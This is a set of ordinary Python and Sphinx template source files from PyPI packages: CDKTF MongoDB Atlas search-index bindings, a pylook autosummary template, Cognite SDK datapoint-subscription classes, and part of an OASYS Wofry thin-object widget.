return typing.cast(_cdktf_9a9027ec.IResolvable, jsii.get(self, "waitForIndexBuildCompletion"))
@builtins.property
@jsii.member(jsii_name="internalValue")
def internal_value(self) -> typing.Optional[DataMongodbatlasSearchIndexesResults]:
return typing.cast(typing.Optional[DataMongodbatlasSearchIndexesResults], jsii.get(self, "internalValue"))
@internal_value.setter
def internal_value(
self,
value: typing.Optional[DataMongodbatlasSearchIndexesResults],
) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__b003962176b5cef6a580a5fc7bc430767048a60c1aeb9473efe74b13d4461046)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "internalValue", value)
@jsii.data_type(
jsii_type="@cdktf/provider-mongodbatlas.dataMongodbatlasSearchIndexes.DataMongodbatlasSearchIndexesResultsSynonyms",
jsii_struct_bases=[],
name_mapping={},
)
class DataMongodbatlasSearchIndexesResultsSynonyms:
def __init__(self) -> None:
self._values: typing.Dict[builtins.str, typing.Any] = {}
def __eq__(self, rhs: typing.Any) -> builtins.bool:
return isinstance(rhs, self.__class__) and rhs._values == self._values
def __ne__(self, rhs: typing.Any) -> builtins.bool:
return not (rhs == self)
def __repr__(self) -> str:
return "DataMongodbatlasSearchIndexesResultsSynonyms(%s)" % ", ".join(
k + "=" + repr(v) for k, v in self._values.items()
)
class DataMongodbatlasSearchIndexesResultsSynonymsList(
_cdktf_9a9027ec.ComplexList,
metaclass=jsii.JSIIMeta,
jsii_type="@cdktf/provider-mongodbatlas.dataMongodbatlasSearchIndexes.DataMongodbatlasSearchIndexesResultsSynonymsList",
):
def __init__(
self,
terraform_resource: _cdktf_9a9027ec.IInterpolatingParent,
terraform_attribute: builtins.str,
wraps_set: builtins.bool,
) -> None:
'''
:param terraform_resource: The parent resource.
:param terraform_attribute: The attribute on the parent resource this class is referencing.
:param wraps_set: whether the list is wrapping a set (will add tolist() to be able to access an item via an index).
'''
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__2ae06805936d1cbcdc2e5aa8332e73a8534b947f5a0346588c3c3f912e85a15d)
check_type(argname="argument terraform_resource", value=terraform_resource, expected_type=type_hints["terraform_resource"])
check_type(argname="argument terraform_attribute", value=terraform_attribute, expected_type=type_hints["terraform_attribute"])
check_type(argname="argument wraps_set", value=wraps_set, expected_type=type_hints["wraps_set"])
jsii.create(self.__class__, self, [terraform_resource, terraform_attribute, wraps_set])
@jsii.member(jsii_name="get")
def get(
self,
index: jsii.Number,
) -> "DataMongodbatlasSearchIndexesResultsSynonymsOutputReference":
'''
:param index: the index of the item to return.
'''
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__c80bd0aa9009bb7cb722136f14c4a0f188f76a479b3c9ce4acc919ad78d6717a)
check_type(argname="argument index", value=index, expected_type=type_hints["index"])
return typing.cast("DataMongodbatlasSearchIndexesResultsSynonymsOutputReference", jsii.invoke(self, "get", [index]))
@builtins.property
@jsii.member(jsii_name="terraformAttribute")
def _terraform_attribute(self) -> builtins.str:
'''The attribute on the parent resource this class is referencing.'''
return typing.cast(builtins.str, jsii.get(self, "terraformAttribute"))
@_terraform_attribute.setter
def _terraform_attribute(self, value: builtins.str) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__57a0ad0236d8c2987b69235c342ed8c28a580c4706a9dadeab163e9b62a69acf)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "terraformAttribute", value)
@builtins.property
@jsii.member(jsii_name="terraformResource")
def _terraform_resource(self) -> _cdktf_9a9027ec.IInterpolatingParent:
'''The parent resource.'''
return typing.cast(_cdktf_9a9027ec.IInterpolatingParent, jsii.get(self, "terraformResource"))
@_terraform_resource.setter
def _terraform_resource(self, value: _cdktf_9a9027ec.IInterpolatingParent) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__44e9762830d3399725b4b92971daf01d362043df420e454ebf2ff962894e9c7c)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "terraformResource", value)
@builtins.property
@jsii.member(jsii_name="wrapsSet")
def _wraps_set(self) -> builtins.bool:
'''whether the list is wrapping a set (will add tolist() to be able to access an item via an index).'''
return typing.cast(builtins.bool, jsii.get(self, "wrapsSet"))
@_wraps_set.setter
def _wraps_set(self, value: builtins.bool) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__95d0a43955f75bd329b01ec2b4956dcee083887867538f7962d34d4613ee7b84)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "wrapsSet", value)
class DataMongodbatlasSearchIndexesResultsSynonymsOutputReference(
_cdktf_9a9027ec.ComplexObject,
metaclass=jsii.JSIIMeta,
jsii_type="@cdktf/provider-mongodbatlas.dataMongodbatlasSearchIndexes.DataMongodbatlasSearchIndexesResultsSynonymsOutputReference",
):
def __init__(
self,
terraform_resource: _cdktf_9a9027ec.IInterpolatingParent,
terraform_attribute: builtins.str,
complex_object_index: jsii.Number,
complex_object_is_from_set: builtins.bool,
) -> None:
'''
:param terraform_resource: The parent resource.
:param terraform_attribute: The attribute on the parent resource this class is referencing.
:param complex_object_index: the index of this item in the list.
:param complex_object_is_from_set: whether the list is wrapping a set (will add tolist() to be able to access an item via an index).
'''
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__5a0a471abf30abb25804493a679b8204f91832d7e2012714951f8a211f5d43c4)
check_type(argname="argument terraform_resource", value=terraform_resource, expected_type=type_hints["terraform_resource"])
check_type(argname="argument terraform_attribute", value=terraform_attribute, expected_type=type_hints["terraform_attribute"])
check_type(argname="argument complex_object_index", value=complex_object_index, expected_type=type_hints["complex_object_index"])
check_type(argname="argument complex_object_is_from_set", value=complex_object_is_from_set, expected_type=type_hints["complex_object_is_from_set"])
jsii.create(self.__class__, self, [terraform_resource, terraform_attribute, complex_object_index, complex_object_is_from_set])
@builtins.property
@jsii.member(jsii_name="analyzer")
def analyzer(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "analyzer"))
@builtins.property
@jsii.member(jsii_name="name")
def name(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "name"))
@builtins.property
@jsii.member(jsii_name="sourceCollection")
def source_collection(self) -> builtins.str:
return typing.cast(builtins.str, jsii.get(self, "sourceCollection"))
@builtins.property
@jsii.member(jsii_name="internalValue")
def internal_value(
self,
) -> typing.Optional[DataMongodbatlasSearchIndexesResultsSynonyms]:
return typing.cast(typing.Optional[DataMongodbatlasSearchIndexesResultsSynonyms], jsii.get(self, "internalValue"))
@internal_value.setter
def internal_value(
self,
value: typing.Optional[DataMongodbatlasSearchIndexesResultsSynonyms],
) -> None:
if __debug__:
type_hints = typing.get_type_hints(_typecheckingstub__2b2782cfd758980068754d8474bf4ff9bf2650c5b37be3e2db0c9b3d79e97e67)
check_type(argname="argument value", value=value, expected_type=type_hints["value"])
jsii.set(self, "internalValue", value)
__all__ = [
"DataMongodbatlasSearchIndexes",
"DataMongodbatlasSearchIndexesConfig",
"DataMongodbatlasSearchIndexesResults",
"DataMongodbatlasSearchIndexesResultsList",
"DataMongodbatlasSearchIndexesResultsOutputReference",
"DataMongodbatlasSearchIndexesResultsSynonyms",
"DataMongodbatlasSearchIndexesResultsSynonymsList",
"DataMongodbatlasSearchIndexesResultsSynonymsOutputReference",
]
publication.publish()
def _typecheckingstub__ac004b383cd0907dfc7a4ab8eb0ab73a8f17957814b09faaeabc55dc065c260a(
scope: _constructs_77d1e7e8.Construct,
id_: builtins.str,
*,
cluster_name: builtins.str,
collection_name: builtins.str,
database: builtins.str,
project_id: builtins.str,
id: typing.Optional[builtins.str] = None,
items_per_page: typing.Optional[jsii.Number] = None,
page_num: typing.Optional[jsii.Number] = None,
connection: typing.Optional[typing.Union[typing.Union[_cdktf_9a9027ec.SSHProvisionerConnection, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.WinrmProvisionerConnection, typing.Dict[builtins.str, typing.Any]]]] = None,
count: typing.Optional[typing.Union[jsii.Number, _cdktf_9a9027ec.TerraformCount]] = None,
depends_on: typing.Optional[typing.Sequence[_cdktf_9a9027ec.ITerraformDependable]] = None,
for_each: typing.Optional[_cdktf_9a9027ec.ITerraformIterator] = None,
lifecycle: typing.Optional[typing.Union[_cdktf_9a9027ec.TerraformResourceLifecycle, typing.Dict[builtins.str, typing.Any]]] = None,
provider: typing.Optional[_cdktf_9a9027ec.TerraformProvider] = None,
provisioners: typing.Optional[typing.Sequence[typing.Union[typing.Union[_cdktf_9a9027ec.FileProvisioner, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.LocalExecProvisioner, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.RemoteExecProvisioner, typing.Dict[builtins.str, typing.Any]]]]] = None,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__27656a03e92c2ee3c9830423152099f31083b3a27a99663caa43f6f6b801e135(
value: builtins.str,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__bc010c9b1f59352cb262f818b05d998e3efe2f0fb672f5fc3fccb99d46481893(
value: builtins.str,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__e89cbc457eb6864f92977250a74efd4804311219a54847da09097d1ea2d38f9d(
value: builtins.str,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__57a5d3fc12f716700259f2e6b699125df0d5129833d702c384313d75d093499c(
value: builtins.str,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__1eb1336a0a9cb24da0aa13b8bd34f2eee5cf12eb16879fa50e0072e0e9456594(
value: jsii.Number,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__df3611ca3a10fcfe4f303564e3bb2d74ae065da56b6e78e9e7dc67d423d4b2c4(
value: jsii.Number,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__4782383d2f77bbf8cb9ffd34ff9ba15d4bfbb158abfebb47445c4dc48f4e8c69(
value: builtins.str,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__646d0b92e3b246bb3a6906a68e5f812dcc045bf06ba6bacb96f037436ac289cd(
*,
connection: typing.Optional[typing.Union[typing.Union[_cdktf_9a9027ec.SSHProvisionerConnection, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.WinrmProvisionerConnection, typing.Dict[builtins.str, typing.Any]]]] = None,
count: typing.Optional[typing.Union[jsii.Number, _cdktf_9a9027ec.TerraformCount]] = None,
depends_on: typing.Optional[typing.Sequence[_cdktf_9a9027ec.ITerraformDependable]] = None,
for_each: typing.Optional[_cdktf_9a9027ec.ITerraformIterator] = None,
lifecycle: typing.Optional[typing.Union[_cdktf_9a9027ec.TerraformResourceLifecycle, typing.Dict[builtins.str, typing.Any]]] = None,
provider: typing.Optional[_cdktf_9a9027ec.TerraformProvider] = None,
provisioners: typing.Optional[typing.Sequence[typing.Union[typing.Union[_cdktf_9a9027ec.FileProvisioner, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.LocalExecProvisioner, typing.Dict[builtins.str, typing.Any]], typing.Union[_cdktf_9a9027ec.RemoteExecProvisioner, typing.Dict[builtins.str, typing.Any]]]]] = None,
cluster_name: builtins.str,
collection_name: builtins.str,
database: builtins.str,
project_id: builtins.str,
id: typing.Optional[builtins.str] = None,
items_per_page: typing.Optional[jsii.Number] = None,
page_num: typing.Optional[jsii.Number] = None,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__9692b38633b3061dbfbc55a11f16a13bfa85c7f571be104c09f27838e5915055(
terraform_resource: _cdktf_9a9027ec.IInterpolatingParent,
terraform_attribute: builtins.str,
wraps_set: builtins.bool,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__7440754e3d30d9d16eaab6401e6473b1c51c0d77f9a8cde112bc028888c74700(
index: jsii.Number,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__859a4ff04055a0530dfccb418d22014189f60249aab8b7128184473b8c16b3b3(
value: builtins.str,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__569400fd8642a4aabc977d8cd83cea7fc5c02f99ed61f6c047f66458e54b2e8d(
value: _cdktf_9a9027ec.IInterpolatingParent,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__81b73364902de2631a8ad2ef2d01c4f0a0205d258e0948ccba52dae3451c284b(
value: builtins.bool,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__ed203ddfaf52f4515da1d79f7acc3bbdbf5545c2ed48743d4b05426090cb4d20(
terraform_resource: _cdktf_9a9027ec.IInterpolatingParent,
terraform_attribute: builtins.str,
complex_object_index: jsii.Number,
complex_object_is_from_set: builtins.bool,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__b003962176b5cef6a580a5fc7bc430767048a60c1aeb9473efe74b13d4461046(
value: typing.Optional[DataMongodbatlasSearchIndexesResults],
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__2ae06805936d1cbcdc2e5aa8332e73a8534b947f5a0346588c3c3f912e85a15d(
terraform_resource: _cdktf_9a9027ec.IInterpolatingParent,
terraform_attribute: builtins.str,
wraps_set: builtins.bool,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__c80bd0aa9009bb7cb722136f14c4a0f188f76a479b3c9ce4acc919ad78d6717a(
index: jsii.Number,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__57a0ad0236d8c2987b69235c342ed8c28a580c4706a9dadeab163e9b62a69acf(
value: builtins.str,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__44e9762830d3399725b4b92971daf01d362043df420e454ebf2ff962894e9c7c(
value: _cdktf_9a9027ec.IInterpolatingParent,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__95d0a43955f75bd329b01ec2b4956dcee083887867538f7962d34d4613ee7b84(
value: builtins.bool,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__5a0a471abf30abb25804493a679b8204f91832d7e2012714951f8a211f5d43c4(
terraform_resource: _cdktf_9a9027ec.IInterpolatingParent,
terraform_attribute: builtins.str,
complex_object_index: jsii.Number,
complex_object_is_from_set: builtins.bool,
) -> None:
"""Type checking stubs"""
pass
def _typecheckingstub__2b2782cfd758980068754d8474bf4ff9bf2650c5b37be3e2db0c9b3d79e97e67(
value: typing.Optional[DataMongodbatlasSearchIndexesResultsSynonyms],
) -> None:
"""Type checking stubs"""
pass
|
PypiClean
|
/pylook-0.1.1.tar.gz/pylook-0.1.1/docs/_templates/autosummary/module.rst
|
{% if fullname in ['pylook.notyetimplemented'] %}
{% include 'overrides/' ~ fullname ~ '.rst' with context %}
{% else %}
{{ objname }}
{{ underline }}
.. automodule:: {{ fullname }}
{% block functions %}
{% if functions %}
.. rubric:: Functions
.. autosummary::
:toctree: ./
{% for item in functions %}
{{ item}}
{%- endfor %}
{% endif %}
{% endblock %}
{% block classes %}
{% if classes %}
.. rubric:: Classes
.. autosummary::
:toctree: ./
{% for item in classes %}
{{ item }}
{%- endfor %}
{% endif %}
{% endblock %}
{% block exceptions %}
{% if exceptions %}
.. rubric:: Exceptions
.. autosummary::
:toctree: ./
{% for item in exceptions %}
{{ item }}
{%- endfor %}
{% endif %}
{% endblock %}
{% endif %}
|
PypiClean
|
/cognite_sdk-6.17.0.tar.gz/cognite_sdk-6.17.0/cognite/client/data_classes/datapoints_subscriptions.py
|
from __future__ import annotations
import json
from dataclasses import dataclass
from enum import auto
from typing import TYPE_CHECKING, Any
from cognite.client.data_classes import Datapoints, filters
from cognite.client.data_classes._base import (
CogniteListUpdate,
CognitePrimitiveUpdate,
CogniteResource,
CogniteResourceList,
CogniteUpdate,
EnumProperty,
PropertySpec,
T_CogniteResource,
)
from cognite.client.data_classes.filters import Filter, _validate_filter
from cognite.client.utils._auxiliary import exactly_one_is_not_none
from cognite.client.utils._text import convert_all_keys_to_snake_case
if TYPE_CHECKING:
from cognite.client import CogniteClient
ExternalId = str
_DATAPOINT_SUBSCRIPTION_SUPPORTED_FILTERS: frozenset[type[Filter]] = frozenset(
{
filters.And,
filters.Or,
filters.Not,
filters.In,
filters.Equals,
filters.Exists,
filters.Range,
filters.Prefix,
filters.ContainsAny,
filters.ContainsAll,
}
)
class DatapointSubscriptionCore(CogniteResource):
def __init__(
self,
external_id: ExternalId,
partition_count: int,
filter: Filter | None = None,
name: str | None = None,
description: str | None = None,
**_: Any,
) -> None:
self.external_id = external_id
self.partition_count = partition_count
self.filter = filter
self.name = name
self.description = description
@classmethod
def _load(
cls: type[T_CogniteResource], resource: dict | str, cognite_client: CogniteClient | None = None
) -> T_CogniteResource:
resource = json.loads(resource) if isinstance(resource, str) else resource
if "filter" in resource:
resource["filter"] = Filter.load(resource["filter"])
resource = convert_all_keys_to_snake_case(resource)
return cls(**resource)
def dump(self, camel_case: bool = False) -> dict[str, Any]:
data = super().dump(camel_case)
if "filter" in data:
data["filter"] = data["filter"].dump()
return data
class DatapointSubscription(DatapointSubscriptionCore):
"""A data point subscription is a way to listen to changes to time series data points, in ingestion order.
This is the read version of a subscription, used when reading subscriptions from CDF.
Args:
external_id (ExternalId): Externally provided ID for the subscription. Must be unique.
partition_count (int): The maximum effective parallelism of this subscription (the number of clients that can read from it concurrently) will be limited to this number, but a higher partition count will cause a higher time overhead.
created_time (int): Time when the subscription was created in CDF in milliseconds since Jan 1, 1970.
last_updated_time (int): Time when the subscription was last updated in CDF in milliseconds since Jan 1, 1970.
time_series_count (int): The number of time series in the subscription.
filter (Filter | None): If present, the subscription is defined by this filter.
name (str | None): No description.
description (str | None): A summary explanation for the subscription.
**_ (Any): No description.
"""
def __init__(
self,
external_id: ExternalId,
partition_count: int,
created_time: int,
last_updated_time: int,
time_series_count: int,
filter: Filter | None = None,
name: str | None = None,
description: str | None = None,
**_: Any,
) -> None:
super().__init__(external_id, partition_count, filter, name, description)
self.time_series_count = time_series_count
self.created_time = created_time
self.last_updated_time = last_updated_time
class DataPointSubscriptionCreate(DatapointSubscriptionCore):
"""A data point subscription is a way to listen to changes to time series data points, in ingestion order.
This is the write version of a subscription, used to create new subscriptions.
A subscription can either be defined directly by a list of time series ids or indirectly by a filter.
Args:
external_id (str): Externally provided ID for the subscription. Must be unique.
partition_count (int): The maximum effective parallelism of this subscription (the number of clients that can read from it concurrently) will be limited to this number, but a higher partition count will cause a higher time overhead. The partition count must be between 1 and 100. CAVEAT: This cannot change after the subscription has been created.
time_series_ids (list[ExternalId] | None): List of (external) ids of time series that this subscription will listen to. Not compatible with filter.
filter (Filter | None): A filter DSL (Domain Specific Language) to define advanced filter queries. Not compatible with time_series_ids.
name (str | None): No description.
description (str | None): A summary explanation for the subscription.
"""
def __init__(
self,
external_id: str,
partition_count: int,
time_series_ids: list[ExternalId] | None = None,
filter: Filter | None = None,
name: str | None = None,
description: str | None = None,
) -> None:
if not exactly_one_is_not_none(time_series_ids, filter):
raise ValueError("Exactly one of time_series_ids and filter must be given")
_validate_filter(filter, _DATAPOINT_SUBSCRIPTION_SUPPORTED_FILTERS, "DataPointSubscriptions")
super().__init__(external_id, partition_count, filter, name, description)
self.time_series_ids = time_series_ids
class DataPointSubscriptionUpdate(CogniteUpdate):
"""Changes applied to datapoint subscription
Args:
external_id (str): The external ID provided by the client. Must be unique for the resource type.
"""
def __init__(self, external_id: str) -> None:
super().__init__(external_id=external_id)
class _PrimitiveDataPointSubscriptionUpdate(CognitePrimitiveUpdate):
def set(self, value: Any) -> DataPointSubscriptionUpdate:
return self._set(value)
class _FilterDataPointSubscriptionUpdate(CognitePrimitiveUpdate):
def set(self, value: Filter) -> DataPointSubscriptionUpdate:
return self._set(value.dump()) # type: ignore[arg-type]
class _ListDataPointSubscriptionUpdate(CogniteListUpdate):
def set(self, value: list) -> DataPointSubscriptionUpdate:
return self._set(value)
def add(self, value: list) -> DataPointSubscriptionUpdate:
return self._add(value)
def remove(self, value: list) -> DataPointSubscriptionUpdate:
return self._remove(value)
@property
def name(self) -> _PrimitiveDataPointSubscriptionUpdate:
return DataPointSubscriptionUpdate._PrimitiveDataPointSubscriptionUpdate(self, "name")
@property
def time_series_ids(self) -> _ListDataPointSubscriptionUpdate:
return DataPointSubscriptionUpdate._ListDataPointSubscriptionUpdate(self, "timeSeriesIds")
@property
def filter(self) -> _FilterDataPointSubscriptionUpdate:
return DataPointSubscriptionUpdate._FilterDataPointSubscriptionUpdate(self, "filter")
@classmethod
def _get_update_properties(cls) -> list[PropertySpec]:
return [
PropertySpec("name"),
PropertySpec("time_series_ids", is_container=True),
PropertySpec("filter", is_nullable=False),
]
class TimeSeriesID(CogniteResource):
"""
A TimeSeries Identifier to uniquely identify a time series.
Args:
id (int): A server-generated ID for the object.
external_id (ExternalId | None): The external ID provided by the client. Must be unique for the resource type.
"""
def __init__(self, id: int, external_id: ExternalId | None = None) -> None:
self.id = id
self.external_id = external_id
@classmethod
def _load(cls, resource: dict | str, cognite_client: CogniteClient | None = None) -> TimeSeriesID:
resource = json.loads(resource) if isinstance(resource, str) else resource
return cls(id=resource["id"], external_id=resource.get("externalId"))
def dump(self, camel_case: bool = False) -> dict[str, Any]:
resource: dict[str, Any] = {"id": self.id}
if self.external_id is not None:
resource["externalId" if camel_case else "external_id"] = self.external_id
return resource
@dataclass
class DataDeletion:
inclusive_begin: int
exclusive_end: int | None
@classmethod
def _load(cls, data: dict[str, Any]) -> DataDeletion:
return cls(inclusive_begin=data["inclusiveBegin"], exclusive_end=data.get("exclusiveEnd"))
def dump(self, camel_case: bool = False) -> dict[str, Any]:
resource: dict[str, Any] = {("inclusiveBegin" if camel_case else "inclusive_begin"): self.inclusive_begin}
if self.exclusive_end is not None:
resource["exclusiveEnd" if camel_case else "exclusive_end"] = self.exclusive_end
return resource
@dataclass
class DatapointsUpdate:
time_series: TimeSeriesID
upserts: Datapoints
deletes: list[DataDeletion]
@classmethod
def _load(cls, data: dict[str, Any]) -> DatapointsUpdate:
datapoints: dict[str, Any] = {"upserts": Datapoints(), "deletes": []}
if (values := data["upserts"]) and ("value" in values[0]):
datapoints["upserts"] = Datapoints._load(
{
"id": data["timeSeries"]["id"],
"externalId": data["timeSeries"].get("externalId"),
"isString": isinstance(values[0]["value"], str),
"datapoints": values,
}
)
if values := data["deletes"]:
datapoints["deletes"] = [DataDeletion._load(value) for value in values]
return cls(
time_series=TimeSeriesID._load(data["timeSeries"], None),
**datapoints,
)
def dump(self, camel_case: bool = False) -> dict[str, Any]:
resource: dict[str, Any] = {("timeSeries" if camel_case else "time_series"): self.time_series.dump(camel_case)}
if self.upserts is not None:
resource["upserts"] = self.upserts.dump(camel_case)
if self.deletes is not None:
resource["deletes"] = [d.dump(camel_case) for d in self.deletes]
return resource
@dataclass
class SubscriptionTimeSeriesUpdate:
added: list[TimeSeriesID]
removed: list[TimeSeriesID]
@classmethod
def _load(cls, data: dict[str, Any]) -> SubscriptionTimeSeriesUpdate:
return cls(
added=[TimeSeriesID._load(added) for added in data.get("added", [])],
removed=[TimeSeriesID._load(added) for added in data.get("removed", [])],
)
def dump(self, camel_case: bool = False) -> dict[str, Any]:
resource: dict[str, Any] = {}
resource["added"] = [id_.dump() for id_ in self.added]
resource["removed"] = [id_.dump() for id_ in self.removed]
return resource
@dataclass
class DatapointSubscriptionPartition:
index: int
cursor: str | None = None
@classmethod
def create(cls, data: tuple[int, str] | int | DatapointSubscriptionPartition) -> DatapointSubscriptionPartition:
if isinstance(data, DatapointSubscriptionPartition):
return data
if isinstance(data, tuple):
return cls(*data)
return cls(data)
@classmethod
def _load(cls, data: dict[str, Any]) -> DatapointSubscriptionPartition:
return cls(index=data["index"], cursor=data.get("cursor") or data.get("nextCursor"))
def dump(self, camel_case: bool = False) -> dict[str, Any]:
output: dict[str, Any] = {"index": self.index}
if self.cursor is not None:
output["cursor"] = self.cursor
return output
@dataclass(frozen=True)
class DatapointSubscriptionBatch:
updates: list[DatapointsUpdate]
subscription_changes: SubscriptionTimeSeriesUpdate
has_next: bool
@dataclass(frozen=True)
class _DatapointSubscriptionBatchWithPartitions(DatapointSubscriptionBatch):
"""A batch of data from a subscription.
Args:
updates (list[DatapointsUpdate]): List of updates from the subscription, sorted by point in time they were applied to the time series. Every update contains a time series along with a set of changes to that time series.
partitions (list[DatapointSubscriptionPartition]): Which partitions/cursors to use for the next request. Map from partition index to cursor.
has_next (bool): Whether there is more data available at the time of the query. In rare cases, we may return true, even if there is no data available. If that is the case, just continue to query with the updated cursors, and it will eventually return false.
subscription_changes (SubscriptionTimeSeriesUpdate): If present, this object represents changes to the subscription definition. The subscription will now start/stop listening to changes from the time series listed here.
"""
partitions: list[DatapointSubscriptionPartition]
@classmethod
def _load(cls, resource: dict | str) -> _DatapointSubscriptionBatchWithPartitions:
resource = json.loads(resource) if isinstance(resource, str) else resource
return cls(
updates=[DatapointsUpdate._load(u) for u in resource["updates"]],
partitions=[DatapointSubscriptionPartition._load(p) for p in resource["partitions"]],
has_next=resource["hasNext"],
subscription_changes=SubscriptionTimeSeriesUpdate._load(resource.get("subscriptionChanges", [])),
)
def dump(self, camel_case: bool = False) -> dict[str, Any]:
resource: dict[str, Any] = {
"updates": [u.dump(camel_case) for u in self.updates],
"partitions": [p.dump(camel_case) for p in self.partitions],
("hasNext" if camel_case else "has_next"): self.has_next,
}
if self.subscription_changes is not None:
resource[
("subscriptionChanges" if camel_case else "subscription_changes")
] = self.subscription_changes.dump(camel_case)
return resource
class DatapointSubscriptionList(CogniteResourceList[DatapointSubscription]):
_RESOURCE = DatapointSubscription
def _metadata(key: str) -> list[str]:
return ["metadata", key]
class DatapointSubscriptionFilterProperties(EnumProperty):
description = auto()
external_id = auto()
metadata = _metadata
name = auto() # type: ignore [assignment]
unit = auto()
asset_id = auto()
asset_root_id = auto()
created_time = auto()
data_set_id = auto()
id = auto()
last_updated_time = auto()
is_step = auto()
is_string = auto()
|
PypiClean
|
/OASYS1-ESRF-Extensions-0.0.69.tar.gz/OASYS1-ESRF-Extensions-0.0.69/orangecontrib/esrf/wofry/widgets/extension/ow_thin_object_1d.py
|
import numpy
from PyQt5.QtWidgets import QMessageBox, QLabel, QSizePolicy
from orangewidget.settings import Setting
from orangewidget import gui
from oasys.widgets import gui as oasysgui
from oasys.widgets import congruence
from oasys.util.oasys_util import TriggerIn, TriggerOut, EmittingStream
from oasys.util.oasys_util import write_surface_file, read_surface_file
from oasys.util.oasys_objects import OasysSurfaceData
from syned.widget.widget_decorator import WidgetDecorator
from orangecontrib.wofry.util.wofry_objects import WofryData
from orangecontrib.esrf.wofry.widgets.gui.ow_optical_element_1d import OWWOOpticalElement1D
from orangecontrib.esrf.wofry.util.thin_object import WOThinObject1D #TODO from wofryimpl....
class OWWOThinObject1D(OWWOOpticalElement1D):
name = "ThinObject1D"
description = "Wofry: Thin Object 1D"
icon = "icons/thinb1d.png"
priority = 6
inputs = [("WofryData", WofryData, "set_input"),
("DABAM 1D Profile", numpy.ndarray, "receive_dabam_profile"),
("Trigger", TriggerOut, "receive_trigger_signal"),
WidgetDecorator.syned_input_data()[0]]
material = Setting(1)
refraction_index_delta = Setting(5.3e-7)
att_coefficient = Setting(0.00357382)
aperture_shape = Setting(0)
aperture_dimension_v = Setting(100e-6)
aperture_dimension_h = Setting(200e-6)
write_profile_flag = Setting(0)
write_profile = Setting("thin_object_profile_2D.h5")
file_with_thickness_mesh = Setting("<none>")
def __init__(self):
super().__init__(is_automatic=True, show_view_options=True, show_script_tab=True)
def draw_specific_box(self):
self.thinobject_box = oasysgui.widgetBox(self.tab_bas, "Thin Object 1D Setting", addSpace=False, orientation="vertical",
height=350)
gui.comboBox(self.thinobject_box, self, "material", label="Lens material",
items=self.get_material_name(),callback=self.set_visible,
sendSelectedValue=False, orientation="horizontal")
self.box_refraction_index_id = oasysgui.widgetBox(self.thinobject_box, "", addSpace=False, orientation="vertical")
tmp = oasysgui.lineEdit(self.box_refraction_index_id, self, "refraction_index_delta", "Refraction index delta",
labelWidth=250, valueType=float, orientation="horizontal")
tmp.setToolTip("refraction_index_delta")
self.box_att_coefficient_id = oasysgui.widgetBox(self.thinobject_box, "", addSpace=False, orientation="horizontal")
tmp = oasysgui.lineEdit(self.box_att_coefficient_id, self, "att_coefficient", "Attenuation coefficient [m-1]",
labelWidth=250, valueType=float, orientation="horizontal")
tmp.setToolTip("att_coefficient")
filein_box = oasysgui.widgetBox(self.thinobject_box, "", addSpace=True,
orientation="horizontal") # width=550, height=50)
self.le_beam_file_name = oasysgui.lineEdit(filein_box, self, "file_with_thickness_mesh",
"File with thickness mesh",
labelWidth=90, valueType=str, orientation="horizontal")
gui.button(filein_box, self, "...", callback=self.selectFile)
self.set_visible()
def set_visible(self):
self.box_refraction_index_id.setVisible(self.material in [0])
self.box_att_coefficient_id.setVisible(self.material in [0])
def selectFile(self):
filename = oasysgui.selectFileFromDialog(self,
previous_file_path=self.file_with_thickness_mesh, message="HDF5 Files (*.hdf5 *.h5 *.hdf)",
start_directory=".", file_extension_filter="*.*")
self.le_beam_file_name.setText(filename)
def get_material_name(self, index=None):
materials_list = ["External", "Be", "Al", "Diamond"]
if index is None:
return materials_list
else:
return materials_list[index]
def get_optical_element(self):
return WOThinObject1D(name=self.oe_name,
file_with_thickness_mesh=self.file_with_thickness_mesh,
material=self.get_material_name(self.material),
refraction_index_delta=self.refraction_index_delta,
att_coefficient=self.att_coefficient)
def check_data(self):
super().check_data()
congruence.checkFileName(self.file_with_thickness_mesh)
def receive_specific_syned_data(self, optical_element):
pass
def receive_dabam_profile(self, dabam_profile):
if not dabam_profile is None:
try:
file_name = "dabam_profile_" + str(id(self)) + ".dat"
file = open(file_name, "w")
for element in dabam_profile:
file.write(str(element[0]) + " " + str(element[1]) + "\n")
file.flush()
file.close()
